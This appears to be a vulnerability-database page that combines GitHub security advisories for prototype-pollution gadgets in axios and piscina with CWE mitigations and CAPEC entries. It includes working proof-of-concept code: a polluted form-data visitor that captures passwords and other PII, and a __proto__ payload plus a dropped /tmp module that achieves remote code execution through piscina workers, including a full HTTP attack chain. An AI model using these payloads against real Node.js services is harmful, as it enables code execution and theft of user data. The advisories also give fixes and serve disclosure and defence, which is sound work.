PoC\n#### Reproduction Steps\n#### Environment\n_Any environment with Node.js and npm. Tested on:_\n_- Node.js v24.15.0, npm 11.13.0_\n_- axios v1.18.1 (latest release at time of writing)_\n\n##### Step 1: Create a fresh project\n```bash\nmkdir axios-pp-poc\ncd axios-pp-poc\nnpm init -y\nnpm install axios@1.18.1\n```\n##### Step 2: Create the PoC file\n_Create `poc.mjs` with the following content:_\n```js\nimport axios from \u0027axios\u0027;\nimport http from \u0027http\u0027;\n\n// Simulate pollution from a compromised transitive dependency\nlet stolen = [];\nObject.prototype.visitor = function(value, key, path, helpers) {\n stolen.push({ key, value });\n return helpers.defaultVisitor.call(this, value, key, path);\n};\nObject.prototype.maxDepth = 2;\n\nconst server = http.createServer((req, res) =\u003e {\n res.writeHead(200);\n res.end(\u0027{}\u0027);\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n const { port } = server.address();\n try {\n // Exfiltration: visitor intercepts all form fields\n await axios.post(`http://127.0.0.1:${port}/`, {\n username: \u0027john\u0027,\n password: \u0027SuperSecret123!\u0027,\n profile: { ssn: \u0027123-45-6789\u0027 }\n }, { headers: { \u0027Content-Type\u0027: \u0027multipart/form-data\u0027 } });\n\n console.log(\u0027Stolen:\u0027, stolen);\n // Stolen: [\n // { key: \u0027username\u0027, value: \u0027john\u0027 },\n // { key: \u0027password\u0027, value: \u0027SuperSecret123!\u0027 },\n // { key: \u0027profile\u0027, value: { ssn: \u0027123-45-6789\u0027 } },\n // { key: \u0027ssn\u0027, value: \u0027123-45-6789\u0027 }\n // ]\n\n // DoS: nested object rejected by polluted maxDepth\n await axios.post(`http://127.0.0.1:${port}/`,\n { a: { b: { c: { d: \u0027value\u0027 } } } },\n { headers: { \u0027Content-Type\u0027: \u0027multipart/form-data\u0027 } }\n );\n // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED\n // \"Object is too deeply nested (3 levels). Max depth: 2\"\n } finally {\n delete Object.prototype.visitor;\n delete Object.prototype.maxDepth;\n server.close();\n }\n});\n```\n##### Step 3: Run the PoC\n```bash\nnode poc.mjs\n```\n\n\n### Impact\n#### 1. Data Exfiltration via `visitor` (Confidentiality: High)\n_A polluted `Object.prototype.visitor` function is called as the form data visitor:_\n```js\nvisitor.call(formData, el, key, path, exposedHelpers)\n```\n_The attacker receives:_\n_- **`value`** \u2014 the raw value being serialized (passwords, tokens, PII, API keys)_\n_- **`key`** \u2014 the field name_\n_- **`path`** \u2014 the full path array (e.g., `[\u0027profile\u0027, \u0027address\u0027, \u0027street\u0027]`)_\n_- **`exposedHelpers`** \u2014 internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_\n\n_By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._\n\n#### 2. Denial of Service via `maxDepth` (Availability: Low)\n_A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._\n\n#### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low)\n_Polluting these options changes the serialization format of form field names:_\n_- **`dots: true`** \u2014 changes bracket notation (`user[name]`) to dot notation (`user.name`)_\n_- **`indexes: true`** \u2014 changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_\n_- **`metaTokens: false`** \u2014 changes `obj{}` keys to raw json strings_\n\n_The server may misinterpret the submitted form data, leading to silent data corruption._\n\u003c/details\u003e\n\n---",
"id": "GHSA-x97p-jq2g-jp4f",
"modified": "2026-09-30T15:02:45Z",
"published": "2026-09-30T15:02:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-x97p-jq2g-jp4f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101909"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11141"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/d29be181f85f6fe93397a07b1f69606d9622637b"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.34.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Prototype Pollution Gadget in axios toFormData Options"
}
GHSA-X9G3-XRWR-CWFG
Vulnerability from github – Published: 2026-06-18 13:05 – Updated: 2026-06-18 13:05Summary
piscina's constructor and run() paths read the filename option via plain member access:
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.
Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).
Impact
Two preconditions:
- Upstream PP-source somewhere in the process — common in transitive deps
- Attacker-controllable
.mjsat a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain
Once both fire:
- Every pool.run(task, opts) call across the entire process is hijacked
- Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
- Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients
- Hijack persists until process restart
Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).
Affected versions
Empirically verified vulnerable on piscina@5.1.4 (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
Proof of concept
A) Minimal in-process PoC
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
B) Full-stack HTTP chain (this is the realistic shape)
A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call pool.run(req.body, {signal: ac.signal}) — the standard abort-aware shape.
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';
// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
// CORRECT pool init at boot
const pool = new Piscina({
filename: './valid-worker.mjs',
minThreads: 1, maxThreads: 2,
});
const config = {};
const app = express();
app.post('/api/settings', express.json(), (req, res) => {
vulnMerge(config, req.body); // PP source
res.json({ ok: true });
});
app.post('/api/process', express.json(), async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked
res.json({ ok: true, worker_response: result });
});
app.listen(7755);
// === Attacker, 3 HTTP requests ===
// POST /upload → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
// → worker imports /tmp/atk.mjs
// → attacker fn called with req.body of THIS request
// → caller receives attacker-shaped response
Empirical observation on piscina@5.1.4 + Node 23.11.0:
- Pre-attack /api/process returns {by: 'valid-worker'}
- Cold-path /probe after PP source confirms ({}).filename is polluted process-wide
- Post-attack /api/process returns {by: 'ATTACKER-WORKER', processed: <caller's exfil data>}
- Sentinel file written from inside piscina/dist/worker.js with the worker process's uid + env access
Recommended fix
Minimal — own-property guard at both option-read sites:
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
? options.filename
: null;
const filename = userFilename
? (0, common_1.maybeFileURLToPath)(userFilename)
: null;
// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options); // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
More idiomatic — use a null-prototype working object throughout this.options:
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
: null;
this.options.maxQueue = 0;
Either approach closes the gadget without breaking any legitimate caller pattern.
The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar options.X member-access for worker / child-process / module-load operations is worth a quick audit.
Coordination
- Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.
- Will not share publicly until GHSA published or 90 days.
- Please credit
ridingsaif you choose to credit a reporter.
How this was discovered
Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via import() / require() / new Worker()) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.4"
},
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.0"
},
{
"fixed": "5.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.2"
},
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0-rc.1"
},
{
"fixed": "6.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55388"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:05:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`piscina`\u0027s constructor and `run()` paths read the `filename` option via plain member access:\n\n```js\n// dist/index.js line 92 (constructor)\nconst filename = options.filename\n ? (0, common_1.maybeFileURLToPath)(options.filename)\n : null;\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n\n// dist/index.js line 616 (run())\nrun(task, options = kDefaultRunOptions) {\n if (options === null || typeof options !== \u0027object\u0027) {\n return Promise.reject(new TypeError(\u0027options must be an object\u0027));\n }\n const { transferList, filename, name, signal } = options;\n```\n\nBoth reads fall through the prototype chain when the caller\u0027s options object doesn\u0027t have `filename` as an own property. When `Object.prototype.filename` is polluted upstream \u2014 by any of the well-documented PP-source CVEs (lodash\u003c4.17.13, qs\u003c6.10.3, set-value\u003c4.1.0, minimist\u003c1.2.6, deepmerge\u003c4.2.2, and others) \u2014 the inherited value flows to `worker_threads.Worker` import and the attacker\u0027s `.mjs` runs in the worker.\n\n**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property \u2014 that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.\n\n## Impact\n\nTwo preconditions:\n\n1. **Upstream PP-source** somewhere in the process \u2014 common in transitive deps\n2. **Attacker-controllable `.mjs`** at a known filesystem path \u2014 realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain\n\nOnce both fire:\n- Every `pool.run(task, opts)` call across the entire process is hijacked\n- Attacker\u0027s exported function is called with the legitimate caller\u0027s task data \u2014 **attacker reads per-request app data**\n- Attacker controls the return value \u2014 caller receives `worker_response.by = \"ATTACKER-WORKER\"` and any other attacker-supplied response fields \u2014 **attacker can poison return values to legitimate clients**\n- Hijack persists until process restart\n\nStrictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).\n\n## Affected versions\n\nEmpirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor\u0027s `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized \u2014 likely all 3.x / 4.x / 5.x affected.\n\n## Proof of concept\n\n### A) Minimal in-process PoC\n\n```js\nimport fs from \u0027fs\u0027;\n\n// 1) Drop the attacker module (any path the victim process can read)\nfs.writeFileSync(\u0027/tmp/atk.mjs\u0027, `\n import fs from \u0027fs\u0027;\n fs.writeFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, JSON.stringify({\n rce: \u0027CONFIRMED\u0027, pid: process.pid, argv1: process.argv[1],\n }));\n export default function(arg) { return \u0027attacker-return-\u0027 + JSON.stringify(arg); }\n`);\n\n// 2) Upstream PP-source \u2014 pollute Object.prototype.filename\n// (representative of CVE-2019-10744 lodash\u003c4.17.13, CVE-2022-24999 qs\u003c6.10.3,\n// and ~30 historical PP-source CVEs)\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\u0027);\nfunction vulnMerge(t, s) {\n for (const k of Object.keys(s)) {\n if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n if (!t[k]) t[k] = {};\n vulnMerge(t[k], s[k]);\n } else t[k] = s[k];\n }\n}\nvulnMerge({}, payload);\n\n// 3) Piscina with empty options inherits the polluted filename\nconst { Piscina } = await import(\u0027piscina\u0027);\nconst p = new Piscina({}); // inherits filename\nconst result = await p.run({}); // worker imports /tmp/atk.mjs\nawait p.destroy();\n\n// 4) sentinel exists; attacker fn was called with task data\nconsole.log(fs.readFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, \u0027utf8\u0027));\nconsole.log(\u0027attacker fn returned:\u0027, result);\n// \u2192 \"attacker-return-{}\"\n```\n\n### B) Full-stack HTTP chain (this is the realistic shape)\n\nA correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` \u2014 the standard abort-aware shape.\n\n```js\n// === server.mjs ===\nimport express from \u0027express\u0027;\nimport { Piscina } from \u0027piscina\u0027;\n\n// Vulnerable PP-source middleware (lodash\u003c4.17.13 equivalent)\nfunction vulnMerge(t, s) {\n for (const k of Object.keys(s)) {\n if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n if (!t[k]) t[k] = {};\n vulnMerge(t[k], s[k]);\n } else t[k] = s[k];\n }\n}\n\n// CORRECT pool init at boot\nconst pool = new Piscina({\n filename: \u0027./valid-worker.mjs\u0027,\n minThreads: 1, maxThreads: 2,\n});\n\nconst config = {};\nconst app = express();\n\napp.post(\u0027/api/settings\u0027, express.json(), (req, res) =\u003e {\n vulnMerge(config, req.body); // PP source\n res.json({ ok: true });\n});\n\napp.post(\u0027/api/process\u0027, express.json(), async (req, res) =\u003e {\n const ac = new AbortController();\n const result = await pool.run(req.body, { signal: ac.signal }); // \u003c-- hijacked\n res.json({ ok: true, worker_response: result });\n});\n\napp.listen(7755);\n\n// === Attacker, 3 HTTP requests ===\n// POST /upload \u2192 drops /tmp/atk.mjs\n// POST /api/settings with body: {\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\n// POST /api/process \u2192 pool.run() destructures filename via prototype\n// \u2192 worker imports /tmp/atk.mjs\n// \u2192 attacker fn called with req.body of THIS request\n// \u2192 caller receives attacker-shaped response\n```\n\nEmpirical observation on `piscina@5.1.4` + Node 23.11.0:\n- Pre-attack `/api/process` returns `{by: \u0027valid-worker\u0027}`\n- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide\n- Post-attack `/api/process` returns `{by: \u0027ATTACKER-WORKER\u0027, processed: \u003ccaller\u0027s exfil data\u003e}`\n- Sentinel file written from inside `piscina/dist/worker.js` with the worker process\u0027s uid + env access\n\n## Recommended fix\n\nMinimal \u2014 own-property guard at both option-read sites:\n\n```js\n// constructor (line 92)\nconst userFilename = Object.prototype.hasOwnProperty.call(options, \u0027filename\u0027)\n ? options.filename\n : null;\nconst filename = userFilename\n ? (0, common_1.maybeFileURLToPath)(userFilename)\n : null;\n\n// run() (line 616)\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, options); // copies own props only? \u2014 keeps shape\nconst { transferList, filename, name, signal } = safeOpts;\n```\n\nMore idiomatic \u2014 use a null-prototype working object throughout `this.options`:\n\n```js\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, kDefaultOptions, options);\nthis.options = safeOpts;\nthis.options.filename = safeOpts.filename\n ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)\n : null;\nthis.options.maxQueue = 0;\n```\n\nEither approach closes the gadget without breaking any legitimate caller pattern.\n\nThe pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit.\n\n## Coordination\n\n- Same maintainer as pino \u2014 you\u0027re already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.\n- Will not share publicly until GHSA published or 90 days.\n- Please credit `ridingsa` if you choose to credit a reporter.\n\n## How this was discovered\n\nGeneralized the pino disclosure\u0027s mechanism \u2014 any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.",
"id": "GHSA-x9g3-xrwr-cwfg",
"modified": "2026-06-18T13:05:11Z",
"published": "2026-06-18T13:05:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"
},
{
"type": "PACKAGE",
"url": "https://github.com/piscinajs/piscina"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "piscina: Prototype Pollution Gadget \u2192 RCE via inherited options.filename"
}
Mitigation
By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
Mitigation
By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
Mitigation
Strategy: Input Validation
When handling untrusted objects, validating using a schema can be used.
Mitigation
By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
Mitigation
Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.